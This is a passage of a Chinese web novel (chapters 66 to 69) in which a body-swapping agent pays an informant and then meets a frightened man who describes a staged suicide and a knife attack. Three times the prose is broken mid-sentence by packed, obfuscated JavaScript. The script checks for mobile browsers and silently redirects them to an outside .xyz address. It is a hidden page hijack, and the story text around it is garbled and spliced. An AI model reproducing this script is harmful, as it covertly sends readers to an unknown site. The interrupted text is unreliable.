还记得六天前的晚上,周拾秋无意间看见聊天大厅有人在谈论新出的自杀案,因为有人提了一嘴“遗产”,被系统检测到,聊天室炸了,而自杀案爆料者因造谣被封号。 当时她不甚在意,如今想起来,竟觉得与田女士所说的案子有几分相似处,于是她想着跟那个封号的人聊上几句,看看有没有什么新线索。 在处罚通知中寻找到被封号的ID——夜猫子。 幸好,危机管理局的封号只是账户冻结,且不能使用任务大厅,其他功能尚可正常使用。于是周拾秋向这个ID发送了私信。 【乌鸦:几天前听你聊起你兄弟卷入自由区自杀案,请问你兄弟是哪位?我可以跟他聊聊吗?】 发完等了一分钟,她又担心这么直截了当地询问,对方会不会担心她有什么目的,因此又补充了一句。 【乌鸦:我最近也卷入一个案子,想看看我们遇上的情况是不是相同。】 按下回车键后,周拾秋一直盯着屏幕看了十分钟,消息一直是未读,这让周拾秋不由得焦虑起来。 也许因为封号,对方不再登录危机管理局了。毕竟,大家之所以成为危代人,主要是为了接任务赚钱,绝大多数不会闲着没事以混迹聊天大厅为乐。 话虽然这么说,可身体还是诚实,又足足等了半个小时,周拾秋才彻底死心。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14994873|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 关掉电脑,重回花店,以照顾生意来缓解心中积攒的疑惑所带来的焦虑,然后这一忙就忙到了晚上。 晚饭后又过了一小时,庾林如常发来了运动委托,周拾秋权当转换心情,欣然接受了委托。 今晚庾林又换了一套新的运动服,让周拾秋忍不住吐槽:“差生文具多,健身找人帮忙,衣服倒买得起劲。” 当然,吐槽归吐槽,差生倒不至于,感觉庾林身体素质,还真不像是科技产物。 只可惜,危机管理局让他堕落了。 周拾秋一边深表遗憾,一边走到服务操作平台,从教练指导页面挑选了昨晚负责指导的教练。 美好的健身生活由此开始。 就是一个小时过后,教练看周拾秋的眼神越来越怪了。 这名学员太过热情,整副心思好像并没有放在健身上,而是直勾勾盯着他不放,还露出一脸花痴相。 教练怎么想,都觉得不对劲,特别是他教的动作,这名学员领悟得太慢了些,总让他一遍遍重复,然后他每做一次,都会得到学员的赞扬。 情绪价值虽然拉满了,但顶着那一身漂亮的肌肉,露出花痴一样的表情,关键还是一名男子,教练只觉后背发凉。 眼看着庾林规定的时间到了,周拾秋十分不舍地说道:“今天就到这里吧,我今天还有别的事要忙。” “哦好!”教练如蒙大赦,边退边语无伦次地说,“对,别的事也很重要,运动要循序渐进,急不得,我先走了。” 周拾秋弯着眼,灿烂一笑:“嗯,明天继续。” 教练咽了咽口水,一脸纠结回答:“啊,明天啊……明天我不一定有空,或者你可以叫其他教练来指导。” “啊?可我觉得你指导得很好耶。” 周拾秋露出一脸惋惜。 她这一嗓子把教练吓得不轻,慌忙告辞,逃离了健身房,留下周拾秋一头雾水,不明白为何教练跟见鬼了一样。 没有多想,周拾秋赶在庾林打电话催促前,提交了任务完成申请,成功回到了自己的身体。 幸运的是,今天庾林没发神经,拿她的身体去夜跑,她的手脚成功逃过一劫。这还得归功于齐绮,一发现庾林出现,便主动送上了打发时间的妙计。 齐绮以到了周拾秋护肤时间为由,用面膜封印了庾林半小时。 结束后,她又以补充维生素为由,拿来最费事的石榴给庾林,让他将一整个吃干净。 庾林只是呆呆地看着面前的石榴许久,然后疑惑地问道:“乌鸦小姐喜欢吃这?” “当然,这是十秋最喜欢吃的水果,每晚都得吃。”齐绮不得不睁眼说瞎话。 此刻,周拾秋面前摆着一个面碗,碗中盛着颗粒饱满、晶莹剔透的石榴籽,一旁还放着一根勺子,就像是精心准备的宵夜。 “嘿嘿,庾木木这傻子,不会剥了半天,一粒都没吃上,就被我捡了便宜吧?哈哈哈……这可不能怪我,我是按他说的时间回来的。” 虽说石榴不是最爱,可有现成的,她自然乐意享用。 于是她跟齐绮一人拿着一根勺子,对着面碗,你一勺我一勺,将这碗夜宵消灭了个干净。 吃完回房,周拾秋带着些许疲倦准备入睡,睡前刷了刷手机,才发现危机管理局上收到了私信。 发信人是夜猫子,私信内容正是对她下午所发信息的回复。 66. 第066章 这个ID叫夜猫子的人取名实在贴切,昼伏夜出。迟来许久的回信,让已经彻底放弃的周拾秋,心中重新燃起了探究的火焰。 周拾秋盘腿坐在床上,兴奋地用手机登录危机管理局,然后调出与夜猫子的私信界面,上面新出现一句留言,就在二十来分钟前。 【夜猫子:哟,这不是鸦哥么?你几天前接大单的英雄事迹我都听说了,哈哈哈,惹麻烦了吧?你以为理想者的钱有那么好赚啊?蠢!】 这人的嘴脸让人讨厌,一来就幸灾乐祸地嘲讽周拾秋,唯恐戳不中对方痛处。 为了打听消息,周拾秋不敢硬怼,只能无视心中不悦,顺着对方的话继续聊下去。 【乌鸦:嗯,你说得对,钱难挣屎难吃,怪我太贪!你兄弟怎么样,没再被调查了吧?】 这一次,消息很快变成了已读,夜猫子在线。 一串文字迅速出现在屏幕上。 【夜猫子:我兄弟最近因为委托人自杀一事挺消沉,你可知,跟他签约那客户有钱得很,你那小委托可不能跟他相提并论。】 【乌鸦:是是是,人家是协议危代人,比不了。】 【夜猫子:之前好像看到你也签了,被解约了吗?还抢任务大厅的任务,连寻死的任务都敢碰,你是真的饿啊!】 【乌鸦:……是是是,这不穷疯了嘛……】 【夜猫子:哈哈哈,最后钱也没拿到手吧?跟我兄弟一样,自以为捡了个大便宜,结果呢?一分钱没捞着,难怪最近一声不吭了。】 夜猫子的嘴实在碎,一直东拉西扯,将周拾秋往沟里带,周拾秋还只能顺着他的话陪聊。 其话中多是嘲讽与幸灾乐祸,不仅是对乌鸦,也是对他兄弟,似乎看他们都在委托上栽了跟头,能令他心情愉悦。 从他口无遮拦的爆料中,周拾秋大致知道了一些情况。 一是他的兄弟正是田女士口中的常华;二是因为自杀案被列入凶杀案调查,所以常华并没能继承遗产,这情况倒与她一致;三是常华最近精神恍惚,闭口不提当日案件。 也不知道夜猫子是因为封号太闲,还是什么原因,抓住周拾秋这个主动送上门的大冤种,一聊就聊了一个小时。 光是听夜猫子唠叨封号害他损失了多少收入,就来来回回听了三回。 一个小时后,夜猫子才终于聊到重点。 【夜猫子:要我帮你牵线搭桥也不是不行,但你刚也知道了我的难处,是不是多少给点辛苦费?】 图穷匕见…… 周拾秋一时有些无语,脑子里响起一句话——能用钱解决的问题都是最简单的问题。 【乌鸦:你觉得多少合适?】 对面回话的速度终于变慢了一些,大概在认真思考,要多少价最合适,要低了亏,要高了又怕大冤种急眼开溜。 过了好一会儿,屏幕上才出现新的信息。 【夜猫子:3万怎么样?如果没被封号,我一个月怎么着也能赚6万。】 【乌鸦:3万!你封号又不是我造成的,算了吧,我没这么多钱。】 看对方真把她当冤大头了,周拾秋对着屏幕,气得两眼一黑,如果是往常,她这个时候应该已经开始骂人了。 可惜,想要的东西还没到手,她只能一忍再忍,但也不能让对方蹬鼻子上脸,便以退为进,作势要溜。 对方见她连价都不准备还,顿觉要价过了头,急忙劝说。 【夜猫子:虽说不是你造成的,但是你想啊,如果我当时没有出来爆料,你也找不到同病相怜的可怜虫不是?那我还帮了你对吧?作为谢礼,怎么也的有1万5吧?】 对方还在试探,直接打了个对折,可1万5买消息,周拾秋没那么阔绰。 【乌鸦:哦,谢谢,我也就心里有疑问,想找人问问罢了,其实也不是非问不可……】 【夜猫子:1万!这个月多少让我赚点生活费。】 “你有蹲聊天大厅闲聊的力气,不如出门找个班上,生活费不就有了嘛!” 周拾秋忍不住对着手机屏幕大吼。 等发泄完毕,周拾秋才心平气和地在手机上输入一段文字。 【乌鸦:你的生活费有点高,我卡里就5千,分你一半?】 【夜猫子:啧啧啧,你也太穷了,3千,你又没被封号,还能再赚。】 【乌鸦:……行吧。】 跟夜猫子讨价还价半晌,最终汇过去3千,然后收到夜猫子发过来的一个手机号码,正是常华的联系方式。 一时说不清这3千花得冤不冤,不过常华有这样一位兄弟是真的冤,为了点钱就把他的信息卖了。 时间已经很晚,周拾秋没有打电话,只是发了条消息,报了危代人的身份,简述了同样牵扯进自杀案的遭遇,最后希望与常华聊聊自杀案的细节。 咬着手指盯着手机屏幕等了七八分钟,还真让她等到了常华的回信。 但常华神秘兮兮的,没有透露任何关于案件的消息,只愿意见面细说,问周拾秋明天是否有空。 考虑到明天还要应付庾林上班的事,外加晚上健身日常,周拾秋便将时间约在了晚上10点,地点由常华定。 常华发给她一个定位,地址是某家二十四小时营业的便利店,离她住的地方不算太远,开车大约十分钟。 第二天,一切如期进行,一大早,周拾秋便开车离开了花店,到天宫酒店接上庾林前往态宇仿生科技大楼。 虽然周拾秋一度怀疑庾林到公司上班是为了让那两百万花得值当,故意给她找事,但抵达公司后,庾林几乎全程忙个不停。 楚君已经拿回问卷调查,将结果同步给了庾林,随即庾林便比对问卷结果,开始设计方案。 一整天,办公室内有人进进出出,而周拾秋的任务便是防止有人过于靠近庾林,当然只针对女职员。 所有人都说着她听不懂的话,做着复杂的数据分析,她唯一知道的是行动方针,为田女士定制一款能监测异常行为实施干预的保镖型仿生人。 其实周拾秋觉得这是在浪费钱与精力,因为田女士想多了,害人的不是守旧者,就算她真成了下一个目标,仿生人保镖也根本阻止不了进化者。 庾林应该也知道这点,但他什么也没说。 这件事在他眼里大抵只是一单生意,只要按照客户的要求完成就行,至于其他,不是他需要关心的事。 这种冷漠似乎已经刻入庾林的DNA。 是啊,在夜白鹭的事上,不也是如此,跟他没有关系,所以他并不在意,也许只要听他父亲的话,将一切都归结于进化者的暴走就可以了。 周拾秋不由得思考,是否该告诉田女士真相,可田女士凭什么相信身为守旧者的她? 田女士对守旧者天生排斥,还有些神经质,一旦认定了,恐怕很难扭转想法。 而且,周拾秋一旦这么做了,就是公然毁了庾林的生意,她欠的人情尚未还清,再做这种事似乎不太厚道。 “算了,别管,田女士可能根本不会成为目标,乱花钱而已,没什么影响,我干嘛要多管闲事……” 周拾秋在心中暗暗自语,成功按下了蠢蠢欲动的想法。 不过,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14999035|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些杀人的进化者,究竟是基于什么标准在害人呢? 一切都没有定论。 周拾秋几乎在态宇仿生科技大楼耗费了一整日,直到傍晚时分,原本应该下班回家的庾林突发奇想,竟主动提出请客吃饭。 当时庾林刚将设计方案发送给楚君,从座位上站起身,活动一下略微僵硬的脖颈,语气平淡地对周拾秋说: “附近有家牛排不错,吃了再回去。” 周拾秋看了一眼窗外已经昏暗的天,下意识回道:“啊?吃完多晚了……你还健身吗?” 若是平时,有免费大餐,她肯定毫不犹豫答应,可今晚还约了见人,时刻偷偷在心里计算着时间。 这会儿已近7点,如果吃牛排,怎么也得浪费1小时,吃了饭还得赶2小时路,若回去还有健身委托,她如何能在10点与人见面? 庾林以为她是厌倦了健身运动,便轻笑道:“许你今晚休息一晚。” 周拾秋疑惑地问:“你不是自律么?这么快就只管口腹之欲了?” 庾林面露几分无语,轻声叹道:“乌鸦小姐不觉得累了一天,应该犒劳自己吗?” “哦,你是想犒劳我?” “……我不能是犒劳自己,顺带卖小秘书一个人情,让她觉得我这个老板还挺会体恤员工?” “原来如此,要不我送你回酒店,你想怎么犒劳自己就怎么犒劳自己,然后早点放我下班?” 周拾秋讨价还价,庾林总算觉察出她话语中的焦急,两人沉默中对视了一眼。 “乌鸦小姐晚上有约?”庾林冷不防地问了一句。 周拾秋先是一愣,心猛然提起,有种被人看穿心事的窘迫感,很快又被她强行按下,转而理直气壮地回道:“昂,我就不能有点私生活么?” 庾林微微一怔,原本晴朗的脸上,倏然阴云密布,眼神透出些许凉意,声音冰冷道:“知道了,你可以走了。” “嗯?”对于出乎意料的妥协,周拾秋满腹狐疑,惴惴不安地说,“我先送你回酒店吧……” 庾林重新坐回椅子上,面无表情地打断:“不必了,我叫康管家来接我。” 话音刚落,庾林便拿起电话打给了康管家,不给周拾秋任何缓和矛盾的机会,打完电话就又埋头研究起资料,不再理会周拾秋。 周拾秋隐约觉得庾林在发脾气,却不明白他有什么理由闹脾气,仅仅因为自己拒绝了一顿牛排? 站在办公室里,周拾秋手足无措,被当做空气的尴尬令她进退两难。 “你……不会又想给我差评吧?”周拾秋问得战战兢兢。 庾林终于抬起头,微微一笑,眉眼弯弯,语气平淡:“怎么会,乌鸦小姐今天一整天辛苦了,早点回去休息。后续开发工作我不用到公司,你明天也不用两区来回奔波了。” 话的内容听上去十分体贴,可听得周拾秋心中莫名生出层层寒意,冻得她嘴角抽搐,浑身一颤。 “呵呵,感谢庾总监体恤。” 周拾秋声音颤抖着说出这句话,转过身,僵硬着脖子,目不斜视,战战兢兢走出了办公室。 隐约中感觉有一道骇人的视线一直紧追着自己,她一步不敢停,屏声息气,从庾林办公室前匆匆掠过,直到再感受不到庾林的视线,才喘了一口气。 她总觉得又得罪了这位小心眼的理想者,剩下的日子怕是又要倒霉。 不过,现在她有更在意的事,不得不取舍。 “鱼与熊掌不可兼得,下次送束花登门道歉吧……”周拾秋小声嘀咕着,趁着庾林没反悔,赶紧离开了态宇仿生科技大楼。 67. 第067章 一路狂飙回到禁仿区,时间已过9点,周拾秋开车到约定地点附近,随意找了家快餐店,吃坐着吃了汉堡,喝杯可乐休息了一会儿,耗着时间等待约定时刻。 手机收到一条消息,像是估摸着她返程的时间发的,发件人是莫名发脾气的庾林。 【到家了?】 冷不防收到这样的信息,一时分不清是关心,还是试探,周拾秋心里发怵,总担心庾林又想搞什么幺蛾子。 她冷静思考片刻,才缓缓输入回信。 ——【昂,到了,正在吃晚饭。】 正准备发出去,看到后半句,又觉刺眼,想到两个小时前,好像就是因为她拂了庾林请客吃饭的好意,才得罪了庾林,“晚饭”两个字现在发过去,恐怕形同挑衅。 如此一想,周拾秋顿住了悬在发送键上的手指,摇摇头,赶紧删掉了后半句。 于是,回信只有寥寥三个字。 ——【昂,到了。】 三秒后,手机又收到庾林的消息,字更少了。 【忙?】 周拾秋盯着手机屏幕上那简简单单一个字的回复,陷入了沉思。 小心揣测着庾林的心思,可思来想去,也没想出结果,唯有一点她可以肯定:如果庾林知道她又主动掺和进连环凶案中,铁定要对她在意的理由刨根问底。 届时她要如实说吗? 说什么?说怀疑百泉牵涉其中吗? 百泉如今可是公认的夜白鹭,她的在意会被如何理解?追星?还是承认她与夜白鹭有关系? 光是想想,周拾秋就觉得解释麻烦。 思量再三,周拾秋撒了一个谎。 ——【跟齐绮出来找朋友玩,如果明天有什么工作,尽管说,我保证认真完成!】 这个消息发送出去后,便没了下文。 周拾秋一直等了十来分钟,既没等到否认的话,也没等到工作通知,就像是对方突然没空理她了似的。 难伺候…… 见庾林不像找她有事,兴许就是随意问问,周拾秋也就放下了心,不再纠结如何应付庾林,而将注意力放回约定见面之事上。 约定时间渐近,周拾秋提前5分钟走进约定的便利店。 这家便利店位于一个丁字路口,靠近住宅小区,街对面有个街心花园。临近10点后,依然有不少顾客进出便利店,店员还挺忙碌。 周拾秋走进便利店,没引起任何人注意,买了两罐咖啡,默不作声地走到贴着落地玻璃窗的简易长桌旁坐下。 她打开一罐咖啡喝了一口,另一罐则放在身旁占了个位,视线在店内扫了一圈,然后移向了窗外。 从这里,她可以透过玻璃窗清晰地观察到进店的客人。 随着约定见面的时间渐近,每一个靠近便利店的人都会让周拾秋心头一紧。 不过,几乎每一次都是虚惊一场,有的只是路过,有的进店却目标明确,并没有人是冲着她来的。 当10点过了几分钟,周拾秋不放心地给常华发了条消息。 ——【我已经到了,就在窗边坐着等你。】 她并没有如期收到回信,这让她怀疑自己是不是被捉弄了。 常华是遇到别的事来不了了?还是见面只是糊弄她而已呢? 当各种猜忌涌上心头时,一个穿着灰色风衣,兜帽拉起来裹住脑袋的高瘦男子,行色匆匆地走进了便利店。 与其他客人不同,男子进店后第一反应是转头看向了窗边,恰好与周拾秋对上视线,他略微紧张地扭头回避。 周拾秋一时判断不出他是不是常华,便坐在原地没敢轻举妄动。 男子到柜台买了一包烟,然后犹豫着转身走向了周拾秋。 在周拾秋探究的视线注视下,男子缓缓挪到了长桌旁,与周拾秋隔了个位子坐下,顺势将兜帽拉得更低了些,让整张脸彻底藏入兜帽内。 他脑袋毫无偏转,正对着窗外,就像只是个打算在店里歇歇脚的路人,刻意与人保持着距离。 原本周拾秋以为终于等来了常华,可男子的行为又令她产生了怀疑,带着自作多情的尴尬收回视线,她又看了一眼手机。 依然没有回信。 正在这时,一个模糊又低沉的声音从兜帽里传来出来,如果不是内容令周拾秋敏感,她甚至可能怀疑男子只是在用耳机打电话。 他问:“你是乌鸦?” 果然是常华,可显然不是正常人…… 呃……莫非是什么大明星?好像没听过哪位大明星叫常华这个名字啊……不对,大明星怎么可能做危代人! 脑内虽然进行了大乱斗,但表面风平浪静,周拾秋神情淡然地点了点头,随即询问:“常先生,你在躲什么人吗?” 她这么一问,常华拉住兜帽两边往中间聚,像是担心被人看到脸,藏在阴影中的一双眼睛,战战兢兢地向窗外扫视,如同躲避着什么人的追捕。 周拾秋便也循着他视线方向向外张望,可街上除了昏黄的路灯,和偶尔匆匆过路的行人,没有任何异常之处。 带着疑惑收回视线,再看向浑身紧绷的常华,周拾秋不由得怀疑常华精神出了问题,想要从他口中打听有效信息,怕是不易。 周拾秋将邻座上那罐咖啡缓缓推向常华,放柔声音试探道:“热的,喝点暖暖身子?你是在找什么人吗?还是被人跟踪了?” 常华疑神疑鬼地瞥了周拾秋一眼,终是接过那罐咖啡,打开喝了一口,缓了一口气,过了好一会儿,才用只有两人能听到的音量开口: “你……为什么要找我?你也被缠上了吗?” “被谁缠上?”周拾秋学着常华的样子,将声音控制到最低。 常华又确认了一遍四周情况,才说:“你的委托人。” 周拾秋愣了一秒,第一反应是庾林,随后意识到,常华话中所指是那晚“寻死”的委托人。 “没有啊,你被缠上了?叶姝?” 当周拾秋提到“叶姝”这个名字时,常华明显浑身一震,声音幽幽,仿佛陷入了某种痛苦的回忆。 “叶姝……她是个好女孩……很少有理想者不带偏见地把我当朋友,她是唯一一个……我以为以诚相待,这份友谊会一直延续下去……” “她自杀的那天,你看到什么了吗?”周拾秋问。 “为什么这么问?”常华警惕。 “因为我看到了些奇怪的东西。”周拾秋带着引导的目的坦言,“我看到委托人想杀我。” 她并没有直接告诉常华有关进化者的部分,只是简单说了说自己产生幻觉时看到的景象。 常华闻言有些激动,手指紧扣在易拉罐上,压得罐身微微变形,发出轻微的预警声。 那张一直正对窗外的脸,终于转向了周拾秋,但兜帽下的阴影掩盖了他的表情。 他失魂落魄地低声说:“你也看到了?其实……我也看到了……但我没有告诉警方,这件事我一直藏在心里,叶姝怎么会想杀我呢?我不相信……” 据常华所说,警方请他去警局配合调查时,他只道当晚因紧急委托被传送进叶姝身体,当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在那一瞬间,叶姝消失了,常华获得了身体控制权,然后深刻地感受到,生命的温度正在随着伤口流逝。 死亡正在靠近,他的意识却十分清醒,想要捂住伤口,爬出浴池求救,可不知为什么,明明刚发生的事,他却能清晰地感受到,叶姝很虚弱。 那种虚弱如同濒死。 而他本就是被死亡召唤过来,代替叶姝承受死前的痛苦。 那方才发生的事又是什么呢? 是叶姝死前的挣扎与不甘心? 常华不理解,但那份记忆清晰地留在了他的意识里。 在体验过死亡的过程后,常华又回到了自己的身体,一切犹如一场清醒梦,每一次回想都让他绝望。 “她究竟是自杀,还是我害死了她,连我自己都不敢确定了……我没敢将这件事告诉警方,我觉得我快疯了!叶姝是不是在怪我?怪我没能救她?所以死了也不想放过我,还要在这世上游荡?” 常华额头抵在桌上,双手挡住脑袋,像是要逃避什么攻击一样,嘴里疯疯癫癫地自言自语。 店员听到这边动静,投来异样的眼神。 见店员一副担忧遇上疯子发病,随时准备打电话报警的模样,周拾秋赶紧站起身,小心翼翼地伸出手,拍了拍常华的后背,然后冲店员尴尬一笑,随口胡诌: “呵,对不起啊,我朋友喝多了,我这就送他回家。” 说着,周拾秋赶紧扶起常华,低声安抚:“常先生,你先冷静些,这里不方便说话,你要不先到街对面花园吸根烟?” 这话成功说服了常华,他整个人逐渐冷静下来,再次拉低兜帽,跟着周拾秋离开了便利店。 68. 第068章 便利店的对面有个街心花园,即便在冬日,也是绿树成荫,将昏黄的路灯遮挡了大半,显得有些昏暗。 因此,不时会有些小情侣坐在花园里的长凳上,暧昧地靠在一起聊天。 周拾秋带着常华找了个无人的角落,离那些小情侣远了些,免得常华神神叨叨的样子吓到别人。 从常华的状态和话语中,周拾秋基本能推断出,在异能影响和死亡体验的双重折磨下,常华的精神状态正濒临崩溃。 他大概真被自责所折磨,甚至产生了叶姝鬼魂缠上他的幻觉。 周拾秋好心安慰道:“既然警方没再调查你,不就说明案件与你无关吗?” “那是因为我隐瞒了一些事!”常华吼道。 “有没有可能,那些都是濒死时的幻觉呢?” 周拾秋努力寻找着听上去比较能让人接受的理由,她不该随意外泄警方并未披露的信息线索,只能以这种方式安慰。 常华把这句话听了进去,低声问道:“真的吗?” “昂!”周拾秋十分肯定地点点头,“警方尚在调查,你要相信,如果叶姝不是自杀,警方一定可以抓住真凶。” 这样的安慰对常华格外有效,他的情绪明显平稳下来,紧绷的神经也得到了舒缓,可忽然想到什么,他又摇了摇头。 他激动地说:“不对,如果叶姝不是在怪我,又为何会出现在我眼前?她甚至质问我为什么不将真相告诉警方……” “呃……你且静下心,休养些时日,莫要多想,应该就不会再看见叶姝了。”周拾秋顺着他的话劝道。 “不!不是幻觉!叶姝真的出现了!”常华猛地从长椅上站起身,用手比划着,激动说道,“从警局回来的第二天晚上,就在我家里,悄无声息地出现,拿着同样的刀砍过来,质问我为何不说实话。” 说着,常华将兜帽后翻,露出一张憔悴的脸,他抬手扯开衣领,露出一截脖子。 借着昏黄的路灯照明,周拾秋依稀看到常华的脖子上留着一条长长的刀痕,伤口已经结痂。 在常华的记忆中,那是一个记忆犹新的夜晚。 从警局回来后,常华就一直把自己关在独居的房子里,谁也不想见,整个人浑浑噩噩的,什么事都不想做,几乎一整天都在昏睡。 第二天晚上,下了一场大雨,潮湿冰冷的风带着雨水拍打在窗户上,发出噼噼啪啪的响声,惊醒了常华。 终于感觉到饿的常华起床,走出卧室,想到厨房煮碗泡面吃,他整个人昏沉沉的,走路摇摇晃晃,路过客厅时,晃眼间,余光瞥见窗边站着个人影。 当时他被吓得不轻,以为有贼进门行窃,慌忙在四周寻找顺手的武器。 谁知那人影丝毫不慌张,声音轻柔地喊了他的名字,那声音听得常华心神恍惚,动作停顿,心脏一阵乱跳。 那是叶姝的声音。 他不会听错,不管是私下见面,还是做委托任务,那声音他听了无数遍,早就刻在了记忆里。 “常华,你为什么不告诉警察你看到了什么?” “常华,是你杀了我!” “你打算拿什么还呢?” 一声声低语在雨声的掩盖下,模糊不清,却惊得常华腿软。 “不是的……不是的……那些都不是真的……”常华精神恍惚地摇着头,“我没想杀你,我又怎么能告诉警察你想杀我呢?都是我的幻觉……对,是幻觉!你不可能跟我动手。” 听了他的这句话,叶姝失望地冷笑起来:“常华啊常华,你可真是固执……那你就把命赔给我,到下面与我见面吧!你不是希望可以永远跟我做朋友吗?” 阴森的话语伴随着叶姝的笑声传来,一道刺眼的寒光在黑暗的房间中一闪,常华终于看清叶姝手里握着的一把刀,眼前的场景像极了叶姝死前。 叶姝提刀向常华冲了过来,常华下意识地闪躲开。 在这个雨夜,叶姝从客厅一路追到卧室,手里的刀疯狂追砍。 常华几度险险躲过,却也不幸,脖子中了一刀,最后惊险地躲进卧室锁了门。 刀子撞击房门的声响,一下又一下敲击在常华心上,让原本就精神恍惚的常华愈发崩溃。 他在屋子里大吼着向叶姝解释,想以命赔命,可经历过一次死亡的他,竟退缩了,只能哭着求饶,要叶姝原谅他,诉说自己也想救下叶姝。 忽然,门外的敲击声停了下来,叶姝的声音模糊地响起:“我想杀你,你还要救我?” 常华说:“你拿我当朋友,我相信对我动手绝非你本意。” 本以为这句话会消除对方的怒气,谁知听闻这句话后,叶姝的杀意更浓了。 门锁被弄得咔咔作响,刀尖一下又一下戳进木门,木屑飞溅,房门仿佛摇摇欲坠,那一瞬间,常华觉得他应该是活不成了。 突然,一阵门铃声闯入这场风波中,一时间止住了门外的动静。 隐约中,常华听到屋外传来朋友的呼唤声,似乎是他两日未曾露面,担心他情况的朋友突然上门拜访。 然后,常华听到卧室门外的脚步声逐渐远去,他的心仿佛要跳出胸腔。 不好,叶姝不会对他朋友下手吧? 惊慌失措下,常华开门冲了出去,可客厅里没有看见人影,跑到门口,房门紧闭,朋友仍在门外按门铃。 常华慌张打开门,门外朋友一脸诧异。 而叶姝就这么消失不见了。 常华眼中的震惊不似幻觉,更像亲身经历,所以那种震惊刻进骨髓里,令他每每想起,总不寒而栗。 “死了的叶姝怎么会……” 周拾秋小声嘀咕了一句,忽而住了嘴,脑中闪过一个想法——是进化者?控制系异能,还是…… 随着这个想法一同出现的是百泉的脸。 如果是她,说不定还真能做到…… 可心中不免浮现另一个疑问——就算百泉能伪装成叶姝的模样,那她又如何能悄无声息地从房间里消失呢? 难道真是鬼魂? 正打算安慰几句,稳住常华的情绪,周拾秋衣兜里突然传出一阵铃声,竟有人在这种时候打来电话。 被打断思绪的周拾秋暂且拉常华在长凳坐下,随即闪身到一旁,接通了电话。 打来电话的人是齐绮,开口就问周拾秋在干什么。 周拾秋估计是自己太晚没回,惹了齐绮担心,所以齐绮才打电话来询问。 她来见常华的事忘了跟齐绮报备,时间也确实晚了些,按理说平日这个时间她怎么也该回了,今天却一点消息都没有。 带着点歉意,周拾秋赔笑道:“一时忙忘了,对不起,我的好绮绮,我在外面找 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“也许杀害叶姝的凶手就想将矛头引向你。” 周拾秋细想之下,觉得常华的遭遇与她有相似处,似乎都是想造成守旧者与理想者之间的猜忌。 就在周拾秋琢磨着凶手的手法时,黑暗中忽然闪过一道白光,来自她的手环,吓得周拾秋赶紧捂住手环窜到了一旁。 抬手一看,屏幕上又出现了任务提示,正从10秒开始倒计时。 委托人主动发起的委托,危代人可以在10秒内选择接受与否,如果超过十秒未做出回应,则会发起自动传送。 虽说看上去好像是人性化的设计,让危代人有选择任务的权力,可实际上没什么人敢选择拒绝,因为拒绝大概率会收获差评。 毕竟,S级任务不像其他任务,可以随意被人接取,协议危代人一旦拒绝任务,这任务直接就会被认定为失败,更不会成为自由任务出现在任务大厅。 偏偏在这个时候搅局,周拾秋手指抬起,又在犹疑中停顿,左思右想,最终狠下心,手指移向了“拒绝”。 “对不住,等会儿再赔礼!你可千万别因为这事再给我差评,是你自己说放我休息的!”周拾秋心里默念。 然而,按下“拒绝”后,倒计时并没有停止。 周拾秋又连续按了几次,那个“拒绝”键形同摆设,就算真选了,也没有任何反应。 眼看着倒计时结束,周拾秋认命一般闭上了眼睛。 好的,原来瑞波恩从一开始就没有给予协议危代人选择的权力…… 下一刻,周拾秋在套房60A的书房里清醒过来,她正坐在书桌前,面前摆着一份热气腾腾的红糖酒酿丸子,手里握着一根勺子。 康管家正端着托盘站在书桌对面,看着周拾秋展露笑颜。 周拾秋:“庾木木又要让我干什么?” 康管家:“应该是让你帮他把这碗甜品吃掉。” 周拾秋:“哈?为什么?” 康管家:“嗯……我猜是他不喜欢吃甜食?” 周拾秋:“那这碗甜品为什么会出现在这里?” 康管家:“庾先生刚让我做的。” 周拾秋:“……?” 69. 第069章 看不懂,实在看不懂,周拾秋一边顺从地消灭眼前那一碗刚出锅的红糖酒酿丸子,一边拨通了自己的电话号码。 还不知道庾林在那边能闹出什么幺蛾子,她觉得有必要跟庾林通通气,至少顺利结束与常华的会面。 手机响了好一会儿才接通,电话那头传来周拾秋自己的声音,语气像个没事人:“这么快?应该还没吃完吧。” 周拾秋嘴里塞满了小丸子,一边咀嚼,一边发出质疑:“你不喜欢吃甜食,干嘛要让康管家做?这宵夜非吃不可吗?” “饿了,胃想吃嘴不想吃,可以吗?”庾林不答反问。 “可以,这种麻烦事,我乐意效劳。”周拾秋一口咽下,冲康管家笑了笑,又继续说,“我正跟人聊天呢,你别乱说话,把人送走。” 庾林忍不住发出一声冷哼,讥讽道:“你的品味真是……一言难尽。” “?” 周拾秋刚塞了一勺小丸子到嘴里,听到这句话,顿时觉得难以下咽,有种吃力不讨好的挫败感,气恼地将碗推到一旁。 “红糖酒酿丸子不是你选的?怎么成我品味差了……神金……”她嘴里小声嘀咕了一句,随即在手环上发送了任务完成申请。 可惜,申请被驳回。 “吃完。”电话那端的声音毫无波澜。 “啧!” 周拾秋不耐烦地翻了个白眼,却又无奈地将碗拉回面前。 等她又吃了一口,庾林才慢悠悠地说:“我说的是人,不是甜品。” “人?什么人?”周拾秋一头雾水,环顾四周,只有康管家静静站在桌前等着收碗。 